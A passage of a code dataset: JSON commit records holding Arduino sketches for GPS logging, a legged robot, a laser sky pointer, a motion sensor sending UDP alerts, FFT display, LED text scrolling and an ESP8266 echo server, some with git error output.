myFile.print(\"Angle: \"); Serial.println(GPS.angle);\n myFile.print(\"Altitude: \"); Serial.println(GPS.altitude);\n myFile.print(\"Satellites: \"); Serial.println((int)GPS.satellites);\n }\n myFile.flush();\n }\n }\n else;\n \/\/ Serial.print(\"File is corrupt\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'gps_sd.cpp.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"44cd640f551a8666ec2e04da6c9db9fd684e9050","subject":"def file 19-2-17","message":"def file 19-2-17","repos":"paolocavagnolo\/plastik-art_democracy","old_file":"little-switches\/arduino\/test\/def.ino","new_file":"little-switches\/arduino\/test\/def.ino","new_contents":"#define zampaAS 8\n#define zampaAD 6\n#define zampaPS 7\n#define zampaPD 5\n\n#define piede A0\n#define tamburo 2\n\n#define pot A3\n\nint volo = 400; \/\/tempo in ms delle gambe in aria\nint attesaAppoggio = 60; \/\/tempo in ms dell'appoggio tra le gambe vicine (as e ap per esempio)\nint attesaAllungo = 120; \/\/tempo in ms tra appoggio gambe davanti e gambe dietro\n\nint z[4] = {zampaPS, zampaPD, zampaAS, zampaAD};\n\nint tempo = 400;\n\nvoid setup() {\n pinMode(zampaAS, OUTPUT);\n pinMode(zampaAD, OUTPUT);\n pinMode(zampaPS, OUTPUT);\n pinMode(zampaPD, OUTPUT);\n\n pinMode(piede, OUTPUT);\n pinMode(tamburo, OUTPUT);\n\n digitalWrite(zampaAS, LOW);\n digitalWrite(zampaAD, LOW);\n digitalWrite(zampaPS, LOW);\n digitalWrite(zampaPD, LOW);\n\n digitalWrite(piede, LOW);\n digitalWrite(tamburo, LOW);\n\n}\n\nvoid loop() {\n if (analogRead(pot) > 512) {\n veloce();\n }\n else {\n lenta();\n }\n \n}\n\nvoid lenta() {\n digitalWrite(zampaPS, HIGH); \/\/0 ms - apro 0\n delay(60);\n digitalWrite(zampaPD, HIGH); \/\/60 ms - apro 1\n delay(160);\n digitalWrite(zampaAS, HIGH); \/\/220 ms - apro 2\n delay(60);\n digitalWrite(zampaAD, HIGH); \/\/280 ms - apro 3\n delay(200);\n digitalWrite(zampaPS, LOW); \/\/480 ms - chiudo 0: 740 ms di tempo aperto\n delay(60);\n digitalWrite(zampaPD, LOW); \/\/480 ms - chiudo 1: 740 ms di tempo aperto\n delay(160);\n digitalWrite(zampaAS, LOW); \/\/980 ms - chiudo 2: 740 ms di tempo aperto\n delay(60);\n digitalWrite(zampaAD, LOW); \/\/1060 ms - chiudo 3: 740 ms di tempo aperto\n delay(600);\n}\n\nvoid veloce() {\n digitalWrite(zampaPS, HIGH); \/\/0 ms - apro 0\n delay(40);\n digitalWrite(zampaPD, HIGH); \/\/80 ms - apro 1\n delay(150);\n digitalWrite(zampaAS, HIGH); \/\/240 ms - apro 2\n delay(40);\n digitalWrite(zampaAD, HIGH); \/\/320 ms - apro 3\n delay(150);\n digitalWrite(zampaPS, LOW); \/\/740 ms - chiudo 0: 740 ms di tempo aperto\n delay(40);\n digitalWrite(zampaPD, LOW); \/\/820 ms - chiudo 1: 740 ms di tempo aperto\n delay(150);\n digitalWrite(zampaAS, LOW); \/\/980 ms - chiudo 2: 740 ms di tempo aperto\n delay(40);\n digitalWrite(zampaAD, LOW); \/\/1060 ms - chiudo 3: 740 ms di tempo aperto\n delay(400);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'little-switches\/arduino\/test\/def.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"b39bf88a6bff157adf7459cce3b1bbd09b4ca332","subject":"File arduino\/skypointer.ino added. It includes the Arduino code for the SkyPointer.","message":"File arduino\/skypointer.ino added. It includes the Arduino code for the SkyPointer.\n","repos":"juanmb\/SkyPointer","old_file":"arduino\/skypointer.ino","new_file":"arduino\/skypointer.ino","new_contents":"\/*******************************************************************************\nAuthor: David Vazquez Garcia -- davidvazquez.gijon@gmail.com\n\n\nThe library SkyPointer_MotorShield can be downloaded from:\n https:\/\/github.com\/davidvg\/SkyPointer_MotorShield\n\n*******************************************************************************\/\n\n#include <SoftwareSerial.h>\n#include <SerialCommand.h>\n#include <Wire.h>\n#include <SkyPointer_MotorShield.h>\n#include <TimerOne.h>\n#include <EEPROM.h>\n\n\/\/ A modulo operator that handles negative numbers\n#define MOD(a,b) ((((a)%(b))+(b))%(b))\n\n\/\/ Motor parameters\n#define STEPS 200\n#define USTEPS 16\n#define TOTAL_USTEPS (STEPS*USTEPS)\n\n\/\/ Correction for mechanical errors\n#define Z1 0.00045725\n#define Z2 -0.00021926\n#define Z3 -0.06099543\n\n\/\/ Speed parameters\n#define DT 10000 \/\/ Timer1 interrupt period\n#define RPM 1 \/\/ Desired rotation speed in rpm\n\n#define LASER_PIN 13\n\n\n#define DEBUG 1\n\/\/ Pin for debug\n#ifdef DEBUG\n int blinkLed = 12;\n#endif\n\n\/\/ Definition of the SerialCommand object, with delimiter \":\"\nSerialCommand sCmd;\n\/\/ Definition of the motor shield\nSkyPointer_MotorShield MS = SkyPointer_MotorShield();\n\/\/ Motor 1 on port 1, 200 steps\/rev\nSkyPointer_MicroStepper *motor1 =MS.getMicroStepper(STEPS, 1);\n\/\/ Motor 2 on port 2, 200 steps\/rev\nSkyPointer_MicroStepper *motor2 = MS.getMicroStepper(STEPS, 2);\n\n\/****************************************************************************\n * Functions for writing\/reading mechanical errors to\/from EPRROM\n ***************************************************************************\/\nvoid writeErrorToEEPROM (int n, double Z) {\n \/\/ Writes to EEPROM the n-th error correction, where n = 1, 2 or 3\n int32_t _z = (int32_t) (Z * 1e8);\n for (int k = 0; k < 4; k++) {\n EEPROM.write(4*(n-1) + k, (int) ((_z >> 8*k) & 0xFF));\n }\n}\n\nvoid writeAllErrorsToEEPROM (double z1, double z2, double z3) {\n double z[3] = {z1, z2, z3};\n for (int k = 0; k < 3; k++) {\n writeErrorToEEPROM (k+1, z[k]);\n }\n}\n\ndouble readErrorFromEEPROM (int n) {\n \/\/ Reads the n-th error stored in the EEPROM and converts it to double,\n \/\/ where n = 1, 2 or 3\n int32_t res = 0;\n for (int k = 0; k < 4; k++) { \n res |= (int32_t) ((int32_t) (EEPROM.read(4*(n-1)+k)) << 8*k);\n }\n return (double) (res \/ 1e8);\n}\n\/****************************************************************************\/\n\/\/ Interruption routine\nvoid ISR_rotate() {\n #ifdef DEBUG\n \/\/ Turns the LED on when entering the ISR\n \/\/ Measures the duration of the interruption routine\n digitalWrite (blinkLed, HIGH);\n #endif\n\n uint16_t pos, sim_pos, tg;\n uint8_t dir;\n\n\/* \/\/ Toggles LED status on each ISR callback\n #ifdef DEBUG\n bool status;\n status = digitalRead(blinkLed);\n if (status == HIGH) {\n digitalWrite(blinkLed, LOW);\n }\n else {\n digitalWrite(blinkLed, HIGH);\n }\n #endif\n*\/\n \n sei(); \/\/ Enable interrupts --> Serial, I2C (MotorShield)\n\n \/\/ MOTOR 1\n pos = motor1->getPosition();\n \/\/ Calculate simmetric point to current position\n sim_pos = (pos + TOTAL_USTEPS\/2) % TOTAL_USTEPS;\n tg = motor1->target;\n\n if (!motor1->isTarget()) { \/\/ Check target has not been reached\n if (pos < TOTAL_USTEPS\/2) {\n dir = ((tg > pos) && (tg < sim_pos)) ? FORWARD : BACKWARD;\n } else {\n dir = ((tg > pos) || (tg < sim_pos)) ? FORWARD : BACKWARD;\n }\n motor1->microstep(1, dir);\n }\n\n \/\/ MOTOR 2\n pos = motor2->getPosition();\n \/\/ Calculate simmetric point to current position\n sim_pos = (pos + TOTAL_USTEPS\/2) % TOTAL_USTEPS;\n tg = motor2->target;\n\n if (!motor2->isTarget()) { \/\/ Check target has not been reached\n if (pos < TOTAL_USTEPS\/2) {\n dir = ((tg > pos) && (tg < sim_pos)) ? FORWARD : BACKWARD;\n } else {\n dir = ((tg > pos) || (tg < sim_pos)) ? FORWARD : BACKWARD;\n }\n motor2->microstep(1, dir);\n }\n\n \/\/ Check if target is reached\n \/\/ This needs to be changed to invoke a new function to be created.\n \/\/ This function must turn the laser on.\n if ((motor1->isTarget()) && (motor2->isTarget())) {\n Timer1.detachInterrupt();\n }\n \n #ifdef DEBUG\n digitalWrite (blinkLed, LOW); \/\/ Turn the l\u00a1LED off in ISR exit\n #endif\n}\n\n\/****************************************************************************\n * Functions for processing the commands received\n ***************************************************************************\/\n\n\/\/ Update the target positions of both motors\nvoid ProcessGoto() {\n uint16_t tgt1, tgt2;\n\n tgt1 = MOD(atoi(sCmd.next()), TOTAL_USTEPS);\n tgt2 = MOD(atoi(sCmd.next()), TOTAL_USTEPS);\n\n motor1 -> setTarget(tgt1);\n motor2 -> setTarget(tgt2);\n\n Serial.print(\"OK\\r\");\n Timer1.attachInterrupt(ISR_rotate); \/\/ Enable TimerOne interrupt\n}\n\n\n\/\/ Move both motors to a relative position\nvoid ProcessMove() {\n uint16_t tgt1, tgt2;\n\n tgt1 = MOD((int16_t)motor1->getPosition() + atoi(sCmd.next()), TOTAL_USTEPS);\n tgt2 = MOD((int16_t)motor2->getPosition() + atoi(sCmd.next()), TOTAL_USTEPS);\n\n motor1 -> setTarget(tgt1);\n motor2 -> setTarget(tgt2);\n\n Serial.print(\"OK\\r\");\n Timer1.attachInterrupt(ISR_rotate); \/\/ Enable TimerOne interrupt\n}\n\n\n\/\/ Stop both motors\nvoid ProcessStop() {\n motor1 -> setTarget(motor1->getPosition());\n motor2 -> setTarget(motor2->getPosition());\n\n Serial.print(\"OK\\r\");\n Timer1.attachInterrupt(ISR_rotate); \/\/ Enable TimerOne interrupt\n}\n\n\n\/\/ Get the current position of the motors\nvoid ProcessGetPos() {\n char buf[13];\n uint16_t tgt1, tgt2;\n\n tgt1 = motor1->getPosition();\n tgt2 = motor2->getPosition();\n\n sprintf(buf, \"P %04d %04d\\r\", tgt1, tgt2);\n Serial.print(buf);\n}\n\n\n\/\/ Enable\/disable the laser module\nvoid ProcessLaser() {\n uint8_t enable;\n\n enable = atoi(sCmd.next()) != 0;\n digitalWrite(LASER_PIN, enable);\n Serial.print(\"OK\\r\");\n}\n\n\n\/\/ Get ID\nvoid ProcessID() {\n Serial.print(\"SkyPointer 1.0\\r\");\n}\n\n\n\/\/ Write errors to EEPROM\nvoid ProcessWriteEEPROM () {\n \/\/ Reads (12) ints from Serial port and writes them to EEPROM, starting in\n \/\/ address 0x00 and incrementing by 1 with each byte\n uint8_t n = 0; \/\/ Init address counter\n char *a = sCmd.next(); \/\/ First element\n while (a != NULL) {\n EEPROM.write(n, atoi(a));\n a = sCmd.next(); \/\/ Get next element\n n++; \/\/ Increment address counter\n }\n Serial.print(\"OK\\r\");\n}\n\n\n\/\/ Read errors from EEPROM\nvoid ProcessReadEEPROM () {\n \/* Reads 12 bytes from EEPROM, 4 by each error, and sends them via Serial port.\n\n A string is generated in the form:\n R b_0 b_1 b_2 ... b_10 b_11\\r\n where 'b_n' is the n-th byte.\n The size of the buffer is then obtained:\n R --> 1 byte\n b_x --> 3 bytes + y space\n \\r --> 2 bites\n So we need to store (1 + 12x4 + 2) bytes = 51 bytes \n *\/\n char buf[51];\n \/\/ Init the buffer with the respose code letter\n sprintf (buf, \"R\");\n \/\/ Read EEPROM positions\n for (int k = 0; k < 12; k++) {\n \/\/ Append to the buffer\n sprintf(buf + strlen(buf), \" %03d\", EEPROM.read(k));\n }\n \/\/ Append eol\n sprintf (buf + strlen(buf), \"\\r\");\n \/\/ Send the buffer via Serial\n Serial.print(buf);\n}\n\n\n\/\/ Handles unknown commands\nvoid Unrecognized() {\n Serial.print(\"NK\\r\");\n}\n\/****************************************************************************\/\n\nvoid setup() {\n pinMode(LASER_PIN, OUTPUT);\n #ifdef DEBUG\n pinMode (blinkLed, OUTPUT);\n digitalWrite (blinkLed, LOW); \/\/ Turn off the LED\n #endif\n \n \/\/ Start the serial port\n Serial.begin(115200);\n\n \/\/ Add the commands to the SerialComnnand object\n sCmd.addCommand(\"G\", ProcessGoto); \/\/ G pos1 pos2\\r\n sCmd.addCommand(\"M\", ProcessMove); \/\/ M steps1 steps2\\r\n sCmd.addCommand(\"S\", ProcessStop); \/\/ S\\r\n sCmd.addCommand(\"P\", ProcessGetPos); \/\/ P\\r\n sCmd.addCommand(\"L\", ProcessLaser); \/\/ L enable\\r\n sCmd.addCommand(\"I\", ProcessID); \/\/ I\\r\n sCmd.addCommand(\"W\", ProcessWriteEEPROM); \/\/ Write mechanical errors to EEPROM\n sCmd.addCommand(\"R\", ProcessReadEEPROM); \/\/ Reads mechanical errors from EEPROM\n sCmd.addDefaultHandler(Unrecognized);\t\/\/ Unknown commands\n\n \/\/ Configure interrupt speed (microseconds)\n Timer1.initialize(DT);\n\n \/\/ Start motor shield\n MS.begin();\n motor1->setSpeed(RPM);\n motor2->setSpeed(RPM); \n \n \/\/ Reset EEPROM\n \/\/writeAllErrorsToEEPROM((double) 0, (double) 0, (double) 0);\n}\n\nvoid loop() {\n sCmd.readSerial(); \/\/ Read commands from serial port\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/skypointer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9e4f6de92edc64b05154d9172f97d4fc3e3b9496","subject":"first working version w. trottling events and UPD","message":"first working version w. trottling events and UPD","repos":"guidosch\/netatmo,guidosch\/netatmo","old_file":"photonCodeBackup.ino","new_file":"photonCodeBackup.ino","new_contents":"int led = D0;\nint motionSensor = D1;\nint sensorValue;\nunsigned int FIVE_MINUTES_MILLIS = 1000*10;\nunsigned long currentTime;\nunsigned long lastCloudEvent = 0;\nunsigned long lastUDPEvent = 0;\nunsigned long lastCheck = 0;\n\n\n\/\/loxone muss immer gleiche ip haben --> next router mit mac to dhcp server\nUDP Udp;\nunsigned int localPort = 8777;\nunsigned int remotePort = 8765;\nIPAddress remoteIP(192, 168, 1, 44);\nunsigned char str[6] = {108, 111, 120, 111, 110, 101}; \/\/loxone\n\n\n\n\nvoid setup() {\n pinMode(led,OUTPUT);\n pinMode(motionSensor,INPUT);\n Particle.variable(\"motionSensor\", &sensorValue, INT);\n currentTime = millis();\n Serial.begin(9600);\n Serial.println(\"Sending UPD to ip: 192.168.1.44 and port: 8765\");\n Serial.print(\"Local IP is: \");\n Serial.println(WiFi.localIP());\n Udp.begin(localPort);\n}\n\nvoid loop() {\n sensorValue = digitalRead(motionSensor);\n ledToggle(sensorValue);\n \n if (sensorValue) {\n currentTime = millis();\n cloudEvent();\n udpEvent();\n checkLoxoneServer();\n }\n}\n\n\nint ledToggle(int value) {\n if (value) {\n digitalWrite(led,HIGH);\n return 1;\n }\n else {\n digitalWrite(led,LOW);\n return 0;\n }\n\n}\n\nvoid udpEvent() {\n if (WiFi.ready()) {\n if (currentTime-lastUDPEvent > FIVE_MINUTES_MILLIS) {\n \/\/repeat UDP paket 3 times with delay\n for (int i=0; i < 3; i++) {\n Serial.println(\"Writing UDP\");\n Udp.beginPacket(remoteIP, remotePort);\n Udp.write(str, 6);\n Udp.endPacket();\n lastUDPEvent = millis();\n delay(200);\n }\n }\n }\n}\n\nvoid cloudEvent(){\n if (currentTime-lastCloudEvent > FIVE_MINUTES_MILLIS) {\n Serial.println(\"Sending cloud event\");\n bool response = Particle.publish(\"motion-detected\");\n if (!response){\n Serial.println(\"Sending cloud event failed\");\n }\n lastCloudEvent = millis();\n }\n}\n\nvoid checkLoxoneServer() {\n if (currentTime-lastCheck > FIVE_MINUTES_MILLIS) {\n if (WiFi.ready()) {\n int response = WiFi.ping(remoteIP, 3);\n if (response == 3){\n Serial.println(\"Loxone server is here\");\n } else {\n Serial.println(\"Loxone server not reachable!\");\n }\n lastCheck = millis();\n } else {\n Serial.print(\"Wifi is not working...SSID is: \");\n Serial.println(WiFi.SSID());\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'photonCodeBackup.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"ccbdef4bbf0307770e88ed930dc8f69d3ebf28de","subject":"added ready status for pyserial durability improvements","message":"added ready status for pyserial durability improvements\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nduino\/src\/src.ino","new_file":"nduino\/src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5acbb2850c6958c899fa3f8ba3a00850b00fe727","subject":"Added analog FFT example","message":"Added analog FFT example\n\nCommented and documented example that shows a time-domain and\nfrequency-domain analysis of an analog input signal.\n","repos":"Phoenard\/Phoenard,wrh3c\/Phoenard,Phoenard\/Phoenard,wrh3c\/Phoenard","old_file":"examples\/AnalogFFT\/AnalogFFT.ino","new_file":"examples\/AnalogFFT\/AnalogFFT.ino","new_contents":"\/*\n * This is a Phoenard display implementation for an Arduino FFT example.\n * The analog intensity in time-domain and the FFT in frequency-domain are graphed on the screen.\n * By default analog channel 0 (A0) is used as input. Attach an amplified microphone signal to this pin to analyze sounds!\n *\n * This sketch requires the FFFT library to be installed. For convenience, we provide a mirror to it here:\n * http:\/\/phoenard.com\/media\/ffft.zip\n * \n * Original Fixed point FFT library is from ELM Chan: http:\/\/elm-chan.org\/works\/akilcd\/report_e.html\n * A way to port it to the Arduino library and most demo codes are from AMurchick\n * Forum post: http:\/\/arduino.cc\/forum\/index.php\/topic,37751.0.html\n *\n * This example acquires an analog signal from A0 and displays it on the screen\n * Analog signal is captured at 9.6 KHz, 64 spectrum bands each 150Hz which can be changed in adcInit()\n *\/\n#include \"Phoenard.h\"\n#include <ffft.h>\n\n#define IR_ADC_INPUT 0 \/\/ ADC channel to capture\n#define RANDOM_NOISE 0 \/\/ Set to non-zero to add random() noise\n\n\/* Time-domain graph settings *\/\n#define TD_GRAPH_X 6\n#define TD_GRAPH_Y 22\n#define TD_GRAPH_W 306\n#define TD_GRAPH_H 90\n\n\/* Frequency-domain graph settings *\/\n#define FD_GRAPH_X 5\n#define FD_GRAPH_Y (display.height()-14)\n#define FD_GRAPH_SIZE 4\n#define FD_GRAPH_CNT 62\n\n\/* FFT state variables *\/\nvolatile byte fft_position = 0; \/* Running position of the FFT *\/\nint16_t fft_capture[FFT_N]; \/* Waveform ADC capturing buffer *\/\ncomplex_t bfly_buff[FFT_N]; \/* FFT buffer *\/\nuint16_t fft_spectrum[FFT_N\/2]; \/* Spectrum output buffer *\/\nuint16_t fft_spectrumPast[FFT_N\/2]; \/* Tracks previous spectrum to render differences *\/\n\n\/* Time domain graph variables *\/\nlong intensity = 30; \/* Time-domain intensity *\/\nlong intensityPast = 30; \/* Time-domain intensity of previous run *\/\nlong timePos = TD_GRAPH_X; \/* Time-domain running time position *\/\n\nvoid setup() {\n \/\/ Initialize the ADC registers to receive input in the interrupt\n adcInit();\n\n \/\/ Draw the frames in which the graphs are shown\n display.drawRoundRect(0,0,display.width(),display.height(),7,RED);\n display.drawRoundRect(2,12,display.width()-4,display.height()\/2-17,7,BLUE);\n display.drawRoundRect(2,display.height()\/2+5,display.width()-4,display.height()\/2-7,7,BLUE);\n\n \/\/ Top title\n display.setTextColor(WHITE);\n display.drawStringMiddle(0,2,display.width(),10,\"Signal Analyzer (FFT and RAW)\");\n\n \/\/ Graph titles\n display.setTextColor(YELLOW);\n display.drawStringMiddle(0,13,display.width(),10,\"Intensity in Time Domain\");\n display.drawStringMiddle(0,126,display.width(),10,\"Frequency Using FFT\");\n\n \/\/ Frequency labeling\n display.setTextColor(CYAN);\n display.drawStringMiddle(0,226,display.width(),10,\"2.4kHz\");\n display.drawStringMiddle(0,226,40,10,\"0kHz\");\n display.drawStringMiddle(276,226,40,10,\"4.8kHz\");\n}\n\nvoid loop() {\n \/\/ When interrupt finishes filling the buffer, execute and display FFT\n if (fft_position == FFT_N) {\n fft_input(fft_capture, bfly_buff);\n fft_execute(bfly_buff);\n fft_output(bfly_buff, fft_spectrum);\n displayFFT();\n \n \/\/ Fill the buffer again\n fft_position = 0;\n }\n}\n\n\/* Draws the FFT spectrum and time-domain analysis to the screen *\/\nvoid displayFFT() {\n \/\/ Add all previously captured ADC values to form an intensity\n \/\/ At the same time, update the difference for each frequency bar\n long captureSum = 0;\n int x = FD_GRAPH_X;\n int y = FD_GRAPH_Y;\n int fft_spectrumOld, fft_spectrumNew, fft_spectrumDiff;\n for (byte i = 0; i < FD_GRAPH_CNT; i++) { \n captureSum += fft_capture[i];\n fft_spectrumOld = min(fft_spectrumPast[i], 80);\n fft_spectrumNew = min(fft_spectrum[i], 80);\n fft_spectrumDiff = fft_spectrumOld - fft_spectrumNew;\n fft_spectrumPast[i] = fft_spectrum[i];\n\n if (fft_spectrumDiff > 0) { \n display.fillRect(x, y - fft_spectrumOld, FD_GRAPH_SIZE, fft_spectrumDiff, BLACK);\n } else if (fft_spectrumDiff < 0) {\n display.fillRect(x, y - fft_spectrumNew, FD_GRAPH_SIZE, fft_spectrumNew, GREEN);\n }\n x += FD_GRAPH_SIZE + 1;\n }\n\n \/\/ Convert the sum of all waveform captures into a graph intensity range\n intensity = map(captureSum,-10000,10000,TD_GRAPH_Y,TD_GRAPH_Y+TD_GRAPH_H);\n intensity = constrain(intensity, TD_GRAPH_Y, TD_GRAPH_Y+TD_GRAPH_H);\n\n \/\/ Draw time-domain graph line\n display.drawLine(timePos,intensityPast,timePos+1,intensity,GREEN);\n intensityPast=intensity;\n\n \/\/ Increment time position, wipe when fully filled up\n if (++timePos >= (TD_GRAPH_X+TD_GRAPH_W)) {\n timePos = TD_GRAPH_X;\n display.fillRect(TD_GRAPH_X, TD_GRAPH_Y, TD_GRAPH_W+2, TD_GRAPH_H, BLACK);\n }\n}\n\n\/* free running ADC fills capture buffer *\/\nISR(ADC_vect) {\n int16_t value;\n if (fft_position < FFT_N) {\n \/* Input ADC value *\/\n value = ADC;\n\n \/* Add random noise *\/\n if (RANDOM_NOISE) {\n value += random(-RANDOM_NOISE, RANDOM_NOISE);\n }\n\n \/* Store sample in fft capture buffer *\/\n fft_capture[fft_position++] = value;\n }\n}\n\n\/* Initializes ADC registers to use an interrupt-based free-running mode *\/\nvoid adcInit(){\n \/* REFS0 : VCC use as a ref, IR_AUDIO : channel selection, ADEN : ADC Enable, ADSC : ADC Start, ADATE : ADC Auto Trigger Enable, ADIE : ADC Interrupt Enable, ADPS : ADC Prescaler *\/\n \/\/ free running ADC mode, f = ( 16MHz \/ prescaler ) \/ 13 cycles per conversion \n ADMUX = _BV(REFS0) | IR_ADC_INPUT; \/\/ | _BV(ADLAR); \n \/\/ADCSRA = _BV(ADSC) | _BV(ADEN) | _BV(ADATE) | _BV(ADIE) | _BV(ADPS2) | _BV(ADPS1); \/\/prescaler 64 : 19231 Hz - 300Hz per 64 divisions\n ADCSRA = _BV(ADSC) | _BV(ADEN) | _BV(ADATE) | _BV(ADIE) | _BV(ADPS2) | _BV(ADPS1) | _BV(ADPS0); \/\/ prescaler 128 : 9615 Hz - 150 Hz per 64 divisions, better for most music\n sei();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AnalogFFT\/AnalogFFT.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e61e60f2df737bd5d068debd4f6de9822f73a411","subject":"add scroll_text examples","message":"add scroll_text examples\n","repos":"h-nari\/Humblesoft_LedMat,h-nari\/Humblesoft_LedMat","old_file":"examples\/scroll_text\/scroll_text.ino","new_file":"examples\/scroll_text\/scroll_text.ino","new_contents":"#include <Adafruit_GFX.h>\t\t\t\t\/\/ https:\/\/github.com\/adafruit\/Adafruit-GFX-Library\n#include <Humblesoft_GFX.h>\t\t\t\/\/ https:\/\/github.com\/h-nari\/Humblesoft_GFX\n#include <Humblesoft_LedMat.h>\t\/\/ https:\/\/github.com\/h-nari\/Humblesoft_LedMat\n#include <ScrollText.h>\n\nScrollText sc1(&LedMat);\nScrollText sc2(&LedMat);\nuint8_t imgBuf[1024*4];\n\nvoid setup(void)\n{\n Serial.begin(115200);\n delay(100);\n Serial.println(\"\\n\\nReset:\");\n\n LedMat.begin(LMMT64x32s16);\n\tLedMat.setLedMode(1);\n\tLedMat.setImgBuf(imgBuf, sizeof imgBuf);\n\n\tint w = LedMat.width();\n\tint h = LedMat.height();\n\t\n\tsc1.setSpeed(16);\n\tsc1.setScrollArea(16, 0, w - 16 - 2, h\/2);\n\tsc1.setYPos();\n\n\tsc2.setSpeed(32);\n\tsc2.setScrollArea(0, h\/2, w, h\/2);\n\tsc2.setYPos();\n\n\tLedMat.clear();\n\tLedMat.display();\n}\n\nconst char *colors[] =\n\t{ \"WHITE\", \"RED\", \"GREEN\", \"BLUE\",\n\t\t\"YELLOW\", \"PURPLE\", \"CYAN\", \"MAGENTA\", \"NAVY\",\n\t\t\"DARKGREEN\", \"DARKCYAN\", \"MAROON\", \"OLIVE\", \"LIGHTGREY\",\n\t\t\"DARKGRAY\", \"ORANGE\", \"GREENYELLOW\", \"PINK\",\n\t};\n\n\nvoid loop(void){\n\tstatic int idx1,idx2;\n\tstatic const char *prev_color2 = \"black\";\n\tif(!sc1.update()){\n\t\tLedMat.fillRect(0,0,16,16,\"black\");\n\t\tLedMat.setCursor(2,4);\n\t\tLedMat.print(idx1);\n\t\t\n\t\tif(idx1 >= sizeof(colors)\/sizeof(colors[0]))\n\t\t\tidx1 = 0;\n\t\tsc1.setTextColor(colors[idx1]);\n\t\tsc1.print(colors[idx1]);\n\t\tsc1.scrollOut();\n\t\tidx1++;\n\t}\n\t\n\tif(!sc2.update()){\n\t\tif(idx2 >= sizeof(colors)\/sizeof(colors[0]))\n\t\t\tidx2 = 0;\n\t\tsc2.setTextColor(colors[idx2]);\n\t\tsc2.setBgColor(prev_color2);\n\t\tsc2.print(' ');\n\t\tsc2.print(colors[idx2]);\n\t\tsc2.print(' ');\n\t\tprev_color2 = colors[idx2];\n\t\tidx2++;\n\t}\n}\n\n\n\/*** Local variables: ***\/\n\/*** tab-width:2 ***\/\n\/*** truncate-lines:t ***\/\n\/*** End: ***\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/scroll_text\/scroll_text.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1a5987d36c95d7248c1076930f4209b5e6315e50","subject":"Add example","message":"Add example\n","repos":"willdurand\/EspWiFi,willdurand\/EspWiFi","old_file":"examples\/client\/client.ino","new_file":"examples\/client\/client.ino","new_contents":"#include <Arduino.h>\n#include <EspWiFi.h>\n\n\/\/ Wired to `RESET` pin on the ESP8266\n#define RESET_PIN 6\n\n#define SSID \"Your-SSID\"\n#define PASSWORD \"P4ssw0rd\"\n#define TCP_PORT 80\n\nEspWiFi wifi(Serial, RESET_PIN);\n\nvoid setup() {\n pinMode(RESET_PIN, OUTPUT);\n \n if (wifi.connect(SSID, PASSWORD)) {\n if (! wifi.listen(TCP_PORT)) {\n \/\/ TODO: error\n }\n } else {\n \/\/ TODO: error\n }\n}\n\nvoid loop() {\n unsigned int mux_id, len;\n String data = wifi.read(mux_id, len);\n \n \/\/ send received data back\n if (data.length() > 0) {\n wifi.write(mux_id, data);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/client\/client.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6f0013bd239fee336e7a5f8d2c96d9cf52e93d49","subject":"Drive a 28BYJ-48 stepper motor.","message":"Drive a 28BYJ-48 stepper motor.\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"Stepper1\/Stepper1.ino","new_file":"Stepper1\/Stepper1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d2a8f030bad0b4acc42ad7342bf9c548dbbe557e","subject":"my first commit","message":"my first commit\n","repos":"yuriy-prog\/arduttons","old_file":"buttons.ino","new_file":"buttons.ino","new_contents":"#include <EEPROM.h>\n#include <SPI.h>\n#include <Dhcp.h>\n#include <Dns.h>\n#include <Ethernet.h>\n#include <EthernetClient.h>\n#include <EthernetServer.h>\n#include <EthernetUdp.h>\n#include <util.h>\n#include <TimerOne.h>\n\n\/\/\nconst int pinc = 4;\nconst int pins[pinc] = {5,6,7,8}; \/\/physical to logical pin\nconst int eeprom[pinc] = {0,1,2,3}; \/\/pin address in eeprom\nvolatile int pinhardstate[pinc] = {0,0,0,0};\nvolatile int pinsoftstate[pinc] = {0,0,0,0};\nvolatile unsigned long pintime[pinc] = {0,0,0,0};\nint pinreport[pinc] = {0,0,0,0};\n\nbyte mac[] = {0x02, 0x80, 0xC2, 0x00, 0x00, 0x01};\nbyte ip[] = {192, 168, 12, 80};\nbyte netdns[] = {192, 168, 12, 1};\nbyte gateway[] = {192, 168, 12, 1};\nbyte mask[] = {255, 255, 255, 0};\n\nEthernetServer server(2323);\n\n\/\/\nvoid timerIsr()\n{\n\/\/\n int state;\n for (int i = 0; i < pinc; i++) \n {\n \/\/\n state = digitalRead(pins[i]);\n if (state==LOW && pinhardstate[i]==0 && pinsoftstate[i]==0) \/\/ button down...\n {\n \/\/\n 